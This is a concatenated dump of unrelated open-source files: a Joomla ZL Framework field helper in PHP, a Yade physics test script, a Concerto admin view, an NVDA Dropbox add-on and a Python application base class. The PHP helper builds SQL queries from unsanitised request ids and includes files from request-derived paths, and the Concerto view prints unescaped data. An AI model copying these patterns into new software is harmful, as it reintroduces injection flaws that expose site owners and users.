| jeedom/plugin-slack | core/php/jeeSlack.php | PHP | gpl-2.0 | 2,154 |
<?php
/**
* @package ZL Framework
* @author JOOlanders, SL http://www.zoolanders.com
* @copyright Copyright (C) JOOlanders, SL
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 only
*/
// no direct access
defined('_JEXEC') or die('Restricted access');
/*
Class: ZlfieldHelper
ZL Field class for all params fields around Joomla!
*/
class ZlfieldHelper extends AppHelper {
protected $layout;
protected $path;
protected $params;
protected $enviroment;
protected $enviroment_args;
protected $config;
protected $mode;
public function __construct($default = array())
{
parent::__construct($default);
// get joomla and application table
$this->joomla = $this->app->system->application;
$this->appTable = $this->app->table->application;
// set data shortcut
$this->data = $this->app->data;
// set request shortcut
$this->req = $this->app->request;
// get the inviroment
$this->enviroment = strlen($this->req->getString('enviroment')) ? $this->req->getString('enviroment') : $this->getTheEnviroment();
// if no enviroment for ZL field, cancel
if (!$this->enviroment) return;
// decode and set enviroment arguments
$this->enviroment_args = json_decode($this->req->get('enviroment_args', 'string', ''), true);
$this->enviroment_args = $this->app->data->create($this->enviroment_args);
// get task
$this->task = $this->req->getVar('parent_task') ? $this->req->getVar('parent_task') : $this->req->getVar('task');
// get application group
$this->group = $this->req->getString('group');
// get type
$cid = $this->req->get('cid.0', 'string', ''); // edit view
$type = $cid ? $cid : $this->req->getString('type'); // assign view
if(!empty($type)){
$this->type = $type;
$this->joomla->setUserState('plg_zlfw_zlfieldtype', $type);
} else {
// get type from user session
$this->type = $this->joomla->getUserState('plg_zlfw_zlfieldtype', '');
}
// retrieve application object
if ($this->group) {
$this->application = $this->app->object->create('Application');
$this->application->setGroup($this->group);
} else {
$this->application = $this->app->zoo->getApplication();
}
// get url params
$this->controller = $this->req->getString('controller');
$this->option = $this->req->getString('option');
$this->view = $this->req->getString('view');
// set the params mode - edit, config, positions, module, plugin
$this->mode = $this->req->getString('zlfieldmode');
if(empty($this->mode)){
if($this->task == 'assignelements' || $this->task == 'assignsubmission' || $this->enviroment == 'type-positions')
$this->mode = 'positions';
else if($this->task == 'editelements' || $this->task == 'addelement')
$this->mode = 'config';
else if($this->task == 'edit')
$this->mode = 'edit';
else if(($this->option == 'com_modules' || $this->option == 'com_advancedmodules') && $this->view == 'module')
$this->mode = 'module';
else if($this->enviroment == 'app-config') {
$this->mode = 'appconfig';
}
}
// get params
if($this->app->zlfw->enviroment->is('admin.com_widgetkit'))
$this->initWidgetkitMode();
else if($this->mode == 'edit')
$this->initEditMode();
else if($this->mode == 'positions')
$this->initPositionsMode();
else if($this->mode == 'config')
$this->initConfigMode();
else if($this->mode == 'module')
$this->initModuleMode();
else if($this->mode == 'appconfig')
$this->initAppConfigMode();
else {
$this->params = $this->data->create(array());
}
// set cache var
$this->cache = $this->data->create(array());
// load assets
$this->loadAssets();
}
protected function initEditMode()
{
// get application
$this->application = $this->app->zoo->getApplication();
// get item
$item_id = $this->req->get('cid.0', 'int');
$item = $item_id ? $this->app->table->item->get($item_id) : null;
$data = $item ? $item->elements : array();
// get params
$this->params = $this->data->create($data);
// init config
$this->initConfigMode();
}
protected function initConfigMode()
{
$this->config = array();
if($this->controller == 'manager' && !empty($this->type) && $type = $this->application->getType($this->type))
{
// get params from type.config file
$config = json_decode(file_get_contents($type->getConfigFile()), true);
$this->config = isset($config['elements']) ? $config['elements'] : $this->config;
}
// custom handle for ZOOcart Address type:
else if($this->controller == 'addresses' && $this->type == 'address')
{
$zoocart = JPluginHelper::getPlugin('system','zoocart');
if(!empty($zoocart) && JPluginHelper::isEnabled('system','zoocart')
&& $this->application->getParams()->get('global.zoocart.enable_cart'))
{
// register and load the Address Type
$this->app->loader->register('AddressType', 'plugins:system/zoocart/zoocart/classes/addresstype.php');
$address = $this->app->object->create('AddressType', array('address', $this->application));
if (($file = $address->getConfigFile()) && JFile::exists($file)) {
$config = json_decode(file_get_contents($file), true);
$this->config = isset($config['elements']) ? $config['elements'] : $this->config;
}
}
}
// wrap the data with data object
$this->config = $this->data->create($this->config);
// use as params in config mode
if($this->mode == 'config') $this->params = $this->config;
}
protected function initPositionsMode()
{
// init config
$this->initConfigMode();
// get layout
$this->layout = $this->req->getString('layout');
// get path
$this->path = $this->task == 'assignelements' ? JPATH_ROOT.'/'.urldecode($this->req->getVar('path')) : '';
$this->path = $this->task == 'assignsubmission' ? $this->application->getPath().'/templates/'.$this->req->getString('template') : $this->path;
// custom handle for ZOOcart Address type:
if($this->controller == 'addresses' && $this->type == 'address')
{
$this->path = JPATH_ROOT.'/'.urldecode($this->req->getVar('path'));
// get params from position.config file
$renderer = $this->app->renderer->create('address')->addPath($this->path);
$this->params = $this->data->create($renderer->getConfig('address')->get($this->application->getGroup().'.'.$this->application->id.'.'.$this->type.'.'.$this->layout));
// default
} else {
// get params from position.config file
$renderer = $this->app->renderer->create('item')->addPath($this->path);
$this->params = $this->data->create($renderer->getConfig('item')->get($this->group.'.'.$this->type.'.'.$this->layout));
}
// submissions workaround
if($this->task == 'assignsubmission')
{
/* rearrange and give the arrays a name in order to work well with getParams() */
$data = array();
foreach($this->params as $position) foreach($position as $element){
$data[$element['element']] = $element;
}
$this->params = $this->data->create($data);
}
}
protected function initModuleMode()
{
// init vars
$module_id = $this->enviroment_args->get('id', $this->req->getVar('id'));
$result = '';
if ($module_id) {
// get module params
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select('m.params');
$query->from('#__modules AS m');
$query->where('m.id = '.$module_id);
$db->setQuery($query);
$result = $db->loadResult();
}
// create the necesay array path
$this->params = $this->data->create( array('jform' => array('params' => json_decode($result, true))) );
// save enviroment arguments
$this->enviroment_args = array('id' => $this->req->getVar('id'));
}
protected function initWidgetkitMode()
{
$this->enviroment = 'widgetkit';
// init vars
$widget_id = $this->enviroment_args->get('id', $this->req->getVar('id'));
$result = '';
if ($widget_id) {
// get module params
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select('widget.content');
$query->from('#__widgetkit_widget AS widget');
$query->where('widget.id = '.$widget_id);
$db->setQuery($query);
$result = $db->loadResult();
}
// create the necesay array path
$this->params = $this->data->create($result);
// save enviroment arguments
$this->enviroment_args = array('id' => $this->req->getVar('id'));
}
protected function initAppConfigMode()
{
// get application
$this->application = $this->app->zoo->getApplication();
// set params
$this->params = $this->application ? $this->application->getParams() : $this->data->create(array());
}
/*
Function: render - Returns the result from _parseJSON wrapped with main html dom
*/
public function render($parseJSONargs, $toggle=false, $open_btn_txt='', $ajaxargs=array(), $class='', $ajaxLoading=false)
{
// init vars
$html = array();
$ajaxargs = !empty($ajaxargs) ? json_encode($ajaxargs) : false;
$class = $class ? ' '.$class : '';
$parsedFields = $parseJSONargs ? call_user_func_array(array($this, "parseJSON"), $parseJSONargs) : '';
$html[] = '<div class="zlfield zlfield-main placeholder'.$class.'"'.($ajaxargs ? " data-ajaxargs='{$ajaxargs}'" : '').'>';
if($ajaxLoading)
{
$html[] = '<div class="load-field-btn">';
$html[] = '<span>'.strtolower(JText::sprintf('PLG_ZLFRAMEWORK_EDIT_THIS_PARAMS', $open_btn_txt)).'</span>';
$html[] = '</div>';
}
else if(!$toggle)
{
$html[] = $parsedFields;
}
else
{
$hidden = $toggle == 'starthidden' ? true : false;
$html[] = '<div class="zl-toggle '.($hidden ? '' : 'open').'" data-layout="params">';
$html[] = '<span class="btn-close">- '.JText::_('PLG_ZLFRAMEWORK_TOGGLE').'</span>';
$html[] = '<div class="btn-open"><span class="">'.strtolower(JText::sprintf('PLG_ZLFRAMEWORK_EDIT_THIS_PARAMS', $open_btn_txt)).'</span></div>';
$html[] = '</div>';
$html[] = '<div class="zl-toggle-content"'.($hidden ? ' style=" display: none;"' : '').'>'.$parsedFields.'</div>';
}
$html[] = '</div>';
return implode("\n", $html);
}
/*
Function: parseJSON - Returns result html string from fields declared in json string/arrat format
Params:
$json String - path to json file or a json formated string
$ctrl String - control
$psv Array - All Parent Fields Values
$pid String - Parent Field ID
$arguments Array - additional arguments the fields could need -> $ajaxargs var will be passed trough ajax call
*/
public function parseJSON($json, $ctrl, $psv=array(), $pid='', $returnArray=false, $arguments=array())
{
// extract the arguments
extract($arguments, EXTR_OVERWRITE);
// load element - $element is extracted from $arguments
if($this->mode == 'positions' || $this->mode == 'config' && $this->req->getVar('ajaxcall')){
if(!isset($element) || !is_object($element)){
$element = $this->app->element->create($element_type, $this->application);
$element->identifier = $element_id;
$element->config = $this->app->data->create($this->config->get($element_id));
}
}
// update config if adding new element as it's values can be dynamic
if($this->mode == 'config' && $this->task == 'addelement'){
$this->config->set($element->identifier, (array)$element->config);
}
// save element object to reuse
if(isset($element) && is_object($element)){
$this->element = $element;
}
/* update params if provided */
if(isset($addparams)){
$this->params = $this->data->create( $addparams );
}
// convert to array
settype($json, 'array');
// if paths provided retrieve json and convert to array
if (isset($json['paths'])){
foreach (array_map('trim', explode(',', $json['paths'])) as $pt) if ($path = $this->app->path->path($pt)) // php files only
{
if(is_file($path)){
/* IMPORTANT - this vars are necesary for include function */
$subloaded = true; // important to let know it's subloaded
$psv = $this->data->create($psv);
$json = json_decode(include($path), true);
break;
}
}
}
else if (!isset($json['fields'])) // is raw json string then
{
$json = json_decode($json[0], true);
}
// let's be sure is well formated
$json = isset($json['fields']) ? $json : array('fields' => $json);
// process fields if any
if (isset($json['fields']))
{
$ctrl = $ctrl.(isset($json['control']) ? "[".$json['control']."]" : ''); // ctrl could grow on each iterate
// iterate fields
$result = $this->_parseFields($json['fields'], $ctrl, $psv, $pid, false, $arguments);
return $returnArray ? $result : implode("\n", $result);
}
else if($json && false)
{
JFactory::getApplication()->enqueueMessage( JText::_('JSON string with bad format or file not found - ') . implode(' | ', $json) );
}
return null;
}
// $fields, $control, $parentsValue, $parentID
private function _parseFields($fields, $ctrl, $psv, $pid, $returnArray, $arguments)
{
$result = array();
foreach ($fields as $id => $fld) {
$fld = $this->data->create($fld);
// adjust ctrl
if($adjust = $fld->get('adjust_ctrl')){
$final_ctrl = preg_replace($adjust['pattern'], $adjust['replacement'], $ctrl);
} else {
$final_ctrl = $ctrl;
}
// wrapper control if any
$control = $fld->get('control');
$final_ctrl = isset($control) && strlen($control) ? $final_ctrl.'['.$control.']' : $final_ctrl;
$field_type = $fld->get('type', '');
switch ($field_type)
{
case 'separator':
// set layout
$layout = $fld->get('layout', 'default');
// backward compatibility
if ($fld->get('text')) {
$layout = $fld->get('big') ? 'section' : 'subsection';
$fld->set('specific', array('title' => $fld->get('text')));
}
// render layout
$field = $fld;
if ($layout = $this->getLayout("separator/{$layout}.php")) {
$result[] = $this->app->zlfw->renderLayout($layout, compact('id', 'field'));
}
break;
case 'wrapper':
case 'control_wrapper': case 'toggle': case 'fieldset': // backward compatibility
// get content
$content = array_filter($this->parseJSON(json_encode(array('fields' => $fld->get('fields'))), $final_ctrl, $psv, $pid, true, $arguments));
// abort if no minimum fields reached
if (count($content) == 0 || count($content) < $fld->get('min_count', 0)) continue;
// init vars
$layout = $fld->get('layout', 'default');
$content = implode("\n", $content);
// backward compatibility
if ($field_type == 'control_wrapper') {
$result[] = $content;
continue;
} else if ($field_type == 'fieldset'){
$layout = 'fieldset';
} else if ($field_type == 'toggle'){
$layout = 'toggle';
}
// render layout
if ($this->renderIf($fld->get('renderif')) // render check
&& $layout = $this->getLayout("wrapper/{$layout}.php")) {
$result[] = $this->app->zlfw->renderLayout($layout, compact('id', 'content', 'fld'));
}
break;
case 'subfield':
// get parent fields data
$psv = $this->data->create($psv);
// replace path {value} if it's string
$paths = is_string($psv->get($pid)) ? str_replace('{value}', basename($psv->get($pid), '.php'), $fld->get('path')) : $fld->get('path');
// replace parent values in paths
foreach ((array)$psv as $key => $pvalue) {
$paths = str_replace('{'.$key.'}', basename(@(string)$pvalue, '.php'), $paths);
}
// build json paths
$json = array('paths' => $paths);
// create possible arguments objects
if($field_args = $fld->get('arguments')) foreach($field_args as $name => $args){
$arguments[$name] = $this->app->data->create($args);
}
// parse fields
if($res = $this->parseJSON($json, $final_ctrl, $psv, $pid, false, $arguments)){
$result[] = $res;
}
break;
default:
// init vars
$value = null;
// check old values
if($fld->get('check_old_value'))
{
// adjust ctrl for old value
$old_value_ctrl = $final_ctrl;
if($adjust = $fld->find('check_old_value.adjust_ctrl')) $old_value_ctrl = preg_replace($adjust['pattern'], $adjust['replacement'], $old_value_ctrl);
// get old value
$value = $this->getFieldValue($fld->find('check_old_value.id'), null, $old_value_ctrl);
// translate old value
if($translations = $fld->find('check_old_value.translate_value')){
foreach($translations as $key => $trans) if($value == $key){
if($trans == '_SKIPIT_'){
$value = null;
break;
} else {
$value = $trans;
break;
}
}
}
}
// get value from config instead
if($fld->get('data_from_config'))
{
$path = preg_replace( // create equivalent path to the config values
array('/^('.$this->element->identifier.')/', '/(positions\[\S+\])\[(\d+)\]|elements\[[^\]]+\]|\]$/', '/(\]\[|\[|\])/', '/^\./'),
array('', '', '.', ''),
$final_ctrl
);
$path = "{$this->element->identifier}.{$path}";
$value = $this->config->find($path.".$id", $value);
}
else
{
// get value
$value = strlen($value) ? $value : $this->getFieldValue($id, $fld->get('default'), $final_ctrl, $fld->get('old_id', false));
}
// get inital value dinamicly
if (empty($value) && $fld->get('request_value')) {
// from url
if ($fld->find('request_value.from') == 'url') {
$value = $this->req->get($fld->find('request_value.param'), $fld->find('request_value.type'), $fld->find('request_value.default'));
}
}
// set specific
$specific = $fld->get('specific', array()); /**/ if ($psv) $specific['parents_val'] = $psv;
// prepare row params
$params = array(
'field' => (array)$fld,
'type' => $field_type,
'id' => $id,
'name' => $final_ctrl.'['.$id.']',
'specific' => $specific,
'label' => $fld->get('label'),
'class' => $fld->get('class'),
'dependent' => $fld->get('dependent'),
'dependents' => $fld->get('dependents'),
'renderif' => $fld->get('renderif'),
'render' => $fld->get('render', 1),
'layout' => $fld->get('layout', 'default'),
'final_ctrl' => $final_ctrl
);
// render individual field row
$params = $this->app->data->create($params);
if($field = $this->field($params, $value)) {
$result[] = $this->row($params, $field);
}
// load childs
if($childs = $fld->find('childs.loadfields'))
{
// create parent values
$pid = $id;
// add current value to parents array, if empty calculate it
$psv[$id] = $value ? $value : $this->field($params, $value, true);
$p_task = $this->req->getVar('parent_task') ? $this->req->getVar('parent_task') : $this->req->getVar('task'); // parent task necesary if double field load ex: layout / sublayout
$url = $this->app->link(array('controller' => 'zlframework', 'format' => 'raw', 'type' => $this->type, 'layout' => $this->layout, 'group' => $this->group, 'path' => $this->req->getVar('path'), 'parent_task' => $p_task, 'zlfieldmode' => $this->mode), false);
// rely options to be used by JS later on
$json = $fld->find('childs.loadfields.subfield', '') ? array('paths' => $fld->find('childs.loadfields.subfield.path')) : array('fields' => $childs);
$pr_opts = json_encode(array('id' => $id, 'url' => $url, 'psv' => $psv, 'json' => json_encode($json)));
// all options are stored as data on DOM so can be used from JS
$loaded_fields = $this->parseJSON(array('fields' => $childs), $final_ctrl, $psv, $pid, false, $arguments);
$result[] = '<div class="placeholder" data-relieson-type="'.$field_type.'"'.($pr_opts ? " data-relieson='{$pr_opts}'" : '').' data-control="'.$final_ctrl.'" >';
$result[] = $loaded_fields ? '<div class="loaded-fields">'.$loaded_fields.'</div>' : '';
$result[] = '</div>';
}
}
}
return $result;
}
/*
Function: getFieldValue - retrieves the field stored value from the $params
$params, $fieldID, $fieldControl, $defaultValue
*/
public function getFieldValue($id, $default, $ctrl, $old_id=false)
{
$path = preg_replace( // create path to the params from control
array('/(^positions\[|^elements\[|^addons\[|\]$)/', '/(\]\[|\[|\])/'),
array('', '.'),
$ctrl);
$value = null;
if ($this->enviroment == 'app-config') // if App Config Params
{
$path = "global.$path";
$param = $this->params->get($path);
if(is_array($param) && isset($param[$id])){
$value = $param[$id];
} else {
$value = $param;
}
}
else if(is_array($id))
{
$params = array();
foreach ((array) $id as $key => $id) {
$params[$key] = $this->params->find("$path.$id", $default);
} $value = $params;
}
else // default
{
// if FIND miss value use GET, if NO apply default
$value = $this->params->find("$path.$id");
if(empty($value) && $old_id){
$value = $this->params->find("$path.$old_id"); // try with old id
}
}
// set default if value empty
if (!isset($value) && isset($default)) {
$value = $default;
}
// return result
return $value;
}
/*
Function: parseArray - returns an json formated string from an array
The array is the XML data standarized by the type inits
*/
function parseArray($master, $isChild=false, $arguments=array())
{
$fields = array();
if(count($master)) foreach($master as $val)
{
// init vars
$name = $val['name'];
$attrs = $val['attributes'];
$childs = isset($val['childs']) ? $val['childs'] : array();
if($name == 'loadfield')
{
// get field from json
if($json = $this->app->path->path("zlfield:json/{$attrs['type']}.json.php")){
// extract the arguments
extract($arguments, EXTR_OVERWRITE);
// parse all subfiels and set as params
$result = $this->parseArray($childs, true, $arguments);
$params = $this->app->data->create($result);
// remove the {} from json string and proceede
$fields[] = preg_replace('(^{|}$)', '', include($json));
} else {
$fields[] = '"notice":{"type":"info","specific":{"text":"'.JText::_('PLG_ZLFRAMEWORK_ZLFD_FIELD_NOT_FOUND').'"}}';
}
}
else if($isChild)
{
$fields = array_merge($fields, array($name => array_merge($attrs, $this->parseArray($childs, true, $arguments))));
}
else // setfield
{
// get field id and remove from attributes
$id = $attrs['id'];
unset($attrs['id']);
// merge val attributes
$field = array($id => array_merge($attrs, $this->parseArray($childs, true, $arguments)));
// remove the {} created by the encode and proceede
$fields[] = preg_replace('(^{|}$)', '', json_encode($field));
}
}
return $fields;
}
/*
Function: renderIf
Render or not depending if specified extension is instaled and enabled
Params
$extensions - array, Ex: [com_widgetkit, 0]
*/
public function renderIf($extensions)
{
$render = 1;
if (!empty($extensions)) foreach ($extensions as $ext => $action)
{
if ($this->app->zlfw->checkExt($ext)){
$render = $action;
} else {
$render = !$action;
}
}
return $render; // if nothing to check, render as usual
}
/*
Function: replaceVars - Returns html string with all variables replaced
*/
public function replaceVars($vars, $string)
{
$vars = is_string($vars) ? explode(',', trim($vars, ' ')) : $vars;
$pattern = $replace = array(); $i=1;
foreach((array)$vars as $var){
$pattern[] = "/%s$i/"; $i++;
$replace[] = preg_match('/^{/', $var) ? $this->app->zlfw->shortCode($var) : JText::_($var);
}
return preg_replace($pattern, $replace, $string);
}
/**
* getTheEnviroment
*
* @return @string item-edit, type-config, type-positions
*
* @since 3.0
*/
public function getTheEnviroment()
{
$option = $this->req->getVar('option');
$controller = $this->req->getVar('controller');
$task = $this->req->getVar('task');
switch ($task) {
case 'editelements':
if ($option == 'com_zoo') return 'type-edit';
break;
case 'assignelements':
case 'assignsubmission':
if ($option == 'com_zoo') return 'type-positions';
break;
case 'edit':
if ($option == 'com_zoo') return 'item-edit';
break;
case 'addelement':
if ($option == 'com_zoo') return 'type-edit';
break;
default:
if ($option == 'com_advancedmodules' || $option == 'com_modules')
return 'module';
else if ($option == 'com_zoo' && $controller == 'configuration')
return 'app-config';
else if ($option == 'com_zoo' && $controller == 'new' && $task == 'add' && strlen($this->req->getVar('group')));
return 'app-config';
}
}
/*
Function: loadAssets - Load the necesary assets
*/
protected $loadedAssets = false;
public function loadAssets()
{
if (!$this->loadedAssets) {
// init vars
$url = $this->app->link(array('controller' => 'zlframework', 'format' => 'raw', 'type' => $this->type), false);
$enviroment_args = json_encode($this->enviroment_args);
// load zlfield assets
$this->app->document->addStylesheet('zlfield:zlfield.css');
$this->app->document->addStylesheet('zlfield:layouts/field/style.css');
$this->app->document->addStylesheet('zlfield:layouts/separator/style.css');
$this->app->document->addStylesheet('zlfield:layouts/wrapper/style.css');
$this->app->document->addScript('zlfield:zlfield.js');
if ($this->enviroment == 'module') {
$this->app->document->addScript('libraries:jquery/jquery-ui.custom.min.js');
$this->app->document->addStylesheet('libraries:jquery/jquery-ui.custom.css');
$this->app->document->addScript('libraries:jquery/plugins/timepicker/timepicker.js');
$this->app->document->addStylesheet('libraries:jquery/plugins/timepicker/timepicker.css');
}
// workaround for jQuery 1.9 transition
$this->app->document->addScript('zlfw:assets/js/jquery.plugins/jquery.migrate.min.js');
// load libraries
$this->app->zlfw->zlux->loadMainAssets();
$this->app->zlfw->loadLibrary('qtip');
$this->app->document->addStylesheet('zlfw:assets/libraries/zlux/zlux.css');
// init scripts
$javascript = "jQuery(function($){ $('body').ZLfield({ url: '{$url}', type: '{$this->type}', enviroment: '{$this->enviroment}', enviroment_args: '{$enviroment_args}' }); });";
$this->app->document->addScriptDeclaration($javascript);
// don't load them twice
$this->loadedAssets = true;
}
}
/*
Function: getLayout
Get element layout path and use override if exists.
Returns:
String - Layout path
*/
public function getLayout($layout = null)
{
// find layout
return $this->app->path->path("zlfield:layouts/{$layout}");
}
/*
Function: field - Returns field html string
*/
public function field($params, $value, $getCurrentValue=false)
{
$type = $params->get('type');
if ($type && $params->get('render') && $this->renderIf($params->get('renderif')))
{
$id = $params->get('id');
$name = $params->get('final_ctrl').'['.$id.']';
$specific = $this->app->data->create((array)$params->get('specific'));
$attrs = '';
// render field
$field = $this->app->zlfieldhtml->_('zlf.'.$type.'Field', $id, $name, $value, $specific, $attrs, $getCurrentValue);
if (!empty($field)) return $field;
}
return null;
}
/*
Function: row - Returns row html string
*/
public function row($params, $field)
{
$layout = $params->get('layout', 'default');
// render layout
if ($layout = $this->getLayout("field/{$layout}.php")) {
return $this->app->zlfw->renderLayout($layout, compact('params', 'field'));
} else {
return $field;
}
return null;
}
/*
Function: elementsList - Returns element list
*/
protected $_elements_list = array();
public function elementsList($groups_filter = array(), $elements_filter = array(), $filter_types = array())
{
$groups_filter = array_filter((array)($groups_filter));
$elements_filter = array_filter((array)($elements_filter));
$filter_types = array_filter((array)($filter_types));
$hash = md5(serialize( array($groups_filter, $elements_filter, $filter_types) ));
if (!array_key_exists($hash, $this->_elements_list))
{
// get apps
$apps = $this->app->table->application->all(array('order' => 'name'));
// prepare types and filter app group
$types = array();
foreach ($apps as $app){
if (empty($groups_filter) || in_array($app->getGroup(), $groups_filter) || in_array($app->id, $groups_filter)) {
$types = array_merge($types, $app->getTypes());
}
}
// filter types
if (count($filter_types) && !empty($filter_types[0])){
$filtered_types = array();
foreach ($types as $type){
if (in_array($type->id, $filter_types)){
$filtered_types[] = $type;
}
}
$types = $filtered_types;
}
// get all elements
$elements = array();
foreach($types as $type){
$elements = array_merge( $elements, $type->getElements() );
}
// create options
$options = array();
foreach ($elements as $element) {
// include only desired element type
if (empty($elements_filter) || in_array($element->getElementType(), $elements_filter)) {
$options[$element->getType()->name.' > '.$element->config->get('name')] = $element->identifier;
}
}
$this->_elements_list[$hash] = $options;
}
// return elements array
return @$this->_elements_list[$hash];
}
} | unrealprojects/journal | plugins/system/zlframework/zlframework/zlfield/zlfield.php | PHP | gpl-2.0 | 29,544 |
# -*- coding: utf-8
# Several spheres falling down into the box.
# Their weight is measured and compares with real mass particles
from yade import utils,pack,export,geom
tc=0.001
en=.003
es=.003
frictionAngle=radians(35)
density=2300
params=utils.getViscoelasticFromSpheresInteraction(tc,en,es)
defMat=O.materials.append(ViscElMat(density=density,frictionAngle=frictionAngle,**params)) # **params sets kn, cn, ks, cs
O.dt=.1*tc # time step
rad=0.2 # particle radius
tolerance = 0.0001
SpheresID=[]
SpheresID+=O.bodies.append(pack.regularHexa(pack.inSphere((Vector3(0.0,0.0,0.0)),0.5),radius=rad,gap=rad*0.5,material=defMat))
floorId=[]
floorId+=O.bodies.append(geom.facetBox((0,0,0),(0.6,0.6,0.6),material=defMat)) #Floor
#Calculate the weight of spheres
sphMass = utils.getSpheresVolume()*density*9.81
# Create engines
O.engines=[
ForceResetter(),
InsertionSortCollider([Bo1_Sphere_Aabb(),Bo1_Facet_Aabb()]),
InteractionLoop(
[Ig2_Sphere_Sphere_ScGeom(), Ig2_Facet_Sphere_ScGeom()],
[Ip2_ViscElMat_ViscElMat_ViscElPhys()],
[Law2_ScGeom_ViscElPhys_Basic()],
),
NewtonIntegrator(damping=0.0,gravity=[0.0,0.0,-9.81])
]
O.run(30000)
O.wait()
curForce = utils.sumForces(ids=floorId,direction=Vector3(0,0,1))*(-1)
print ("Precalculated weight %f" % sphMass)
print ("Obtained weight %f" % curForce)
if (((sphMass-curForce)/curForce)>tolerance):
resultStatus += 1
| ThomasSweijen/yadesolute2 | scripts/checks-and-tests/checks/checkWeight.py | Python | gpl-2.0 | 1,385 |
<?php
/**
* This file was developed as part of the Concerto digital signage project
* at RPI.
*
* Copyright (C) 2009 Rensselaer Polytechnic Institute
* (Student Senate Web Technologies Group)
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the Free
* Software Foundation; either version 2 of the License, or (at your option)
* any later version.
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details. You should have received a copy
* of the GNU General Public License along with this program.
*
* @package Concerto
* @author Web Technologies Group, $Author$
* @copyright Rensselaer Polytechnic Institute
* @license GPLv2, see www.gnu.org/licenses/gpl-2.0.html
* @version $Revision$
*/
?><? if ($this->feed->user_priv($_SESSION['user'], "edit")) { ?>
<a href="<?=ADMIN_URL.'/feeds/new' ?>"><span class="buttonsel"><div class="buttonleft"><img src="<?= ADMIN_BASE_URL ?>/images/buttonsel_left.gif" border="0" alt="" /></div><div class="buttonmid"><div class="buttonmid_padding">New Feed</div></div><div class="buttonright"><img src="<?= ADMIN_BASE_URL ?>/images/buttonsel_right.gif" border="0" alt="" /></div></span></a>
<a href="<?=ADMIN_URL.'/feeds/edit/'.$this->feed->id ?>"><span class="buttonsel"><div class="buttonleft"><img src="<?= ADMIN_BASE_URL ?>/images/buttonsel_left.gif" border="0" alt="" /></div><div class="buttonmid"><div class="buttonmid_padding">Edit Feed</div></div><div class="buttonright"><img src="<?= ADMIN_BASE_URL ?>/images/buttonsel_right.gif" border="0" alt="" /></div></span></a>
<a href="<?=ADMIN_URL.'/feeds/delete/'.$this->feed->id ?>"><span class="buttonsel"><div class="buttonleft"><img src="<?= ADMIN_BASE_URL ?>/images/buttonsel_left.gif" border="0" alt="" /></div><div class="buttonmid"><div class="buttonmid_padding">Delete Feed</div></div><div class="buttonright"><img src="<?= ADMIN_BASE_URL ?>/images/buttonsel_right.gif" border="0" alt="" /></div></span></a>
<? } ?>
<a href="<?=ADMIN_URL.'/browse/show/'.$this->feed->id ?>"><span class="buttonsel"><div class="buttonleft"><img src="<?= ADMIN_BASE_URL ?>/images/buttonsel_left.gif" border="0" alt="" /></div><div class="buttonmid"><div class="buttonmid_padding">Browse Feed</div></div><div class="buttonright"><img src="<?= ADMIN_BASE_URL ?>/images/buttonsel_right.gif" border="0" alt="" /></div></span></a>
<div style="clear:both;height:12px;"></div>
<h3>Feed Name: <span class="emph"><?= $this->feed->name ?></span></h3>
<h3>Group: <span class="emph"><a href="<?=ADMIN_URL.'/groups/show/'.$this->group->id?>"><?= $this->group->name ?></a></span></h3>
<? if (strlen($this->feed->description)>0) { ?>
<h3>Description: </h3>
<p><?= $this->feed->description ?></p>
<? } ?>
<h3>Feed Statistics:</h3>
<p><a href="<?=ADMIN_URL."/browse/show/{$this->feed->id}"?>">Active and Future Content: <?= $this->active_content ?></a></p>
<p><a href="<?=ADMIN_URL."/browse/show/{$this->feed->id}/expired"?>">Expired Content: <?= $this->expired_content ?></a></p>
| sktea1/Concerto_v1.9-Ivytech | admin/app/feeds/show.php | PHP | gpl-2.0 | 3,287 |
# -*- coding: utf-8 -*-
# Dropbox appModule for NVDA
# Improves accessibility of the Dropbox Metro app for Windows 8
# Copyright (C) 2015 Filaos, Patrick ZAJDA <patrick@zajda.fr> and other contributors
# Windows 8 compatibility contributed by David Parduhn <xkill85@gmx.net>
# This file is covered by the GNU General Public License.
# You can read the licence by clicking Help->Licence in the NVDA menu
# or by visiting http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
import addonHandler
import appModuleHandler
from NVDAObjects import UIA
import controlTypes
# We keep it in the case it would finally be necessary to change add-on summary by language
# _addonDir = os.path.join(os.path.dirname(__file__), "..").decode("mbcs")
# _curAddon = addonHandler.Addon(_addonDir)
# _addonSummary = _curAddon.manifest['summary']
# We initialize translations
addonHandler.initTranslation()
# Class for Dropbox items in the metro app
class dropboxitem(UIA. ListItem):
def _get_name(self):
dbxList = list()
obj = self.firstChild
if obj.name != u'':
dbxList.append(obj.name)
while (obj != self.lastChild):
if obj.role == controlTypes.ROLE_STATICTEXT:
if obj.name != u'':
dbxList.append(obj.name)
obj = obj.next
return '; '.join(dbxList)
class AppModule(appModuleHandler.AppModule):
# We set the scripts category shown on input gestures dialog
# scriptCategory = unicode(_addonSummary)
scriptCategory = u"Dropbox"
def chooseNVDAObjectOverlayClasses(self, obj, CLSList):
if obj.role == controlTypes.ROLE_LISTITEM:
CLSList.insert(0, dropboxitem)
| pzajda/dropbox | addon/appModules/dropbox.py | Python | gpl-2.0 | 1,581 |
# -*- coding: utf-8 -*-
# copyright (C) 2006 Marek Schmidt
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
from event import Event
from pobject import *
class ApplicationBase (PRoot):
"""
Vstupní bod aplikace. Tato třída by měla být přetížena ve
front-endech a doplnit konkrétní funkce.
"""
def __init__(self):
PRoot.__init__ (self)
# Aktuálně zobrazený formulář
self.displayed_form = None
# Zásobník zobrazených formulářů
self.forms_stack = []
self.event_pre_serialize = Event (self)
self.event_deserialized = Event (self)
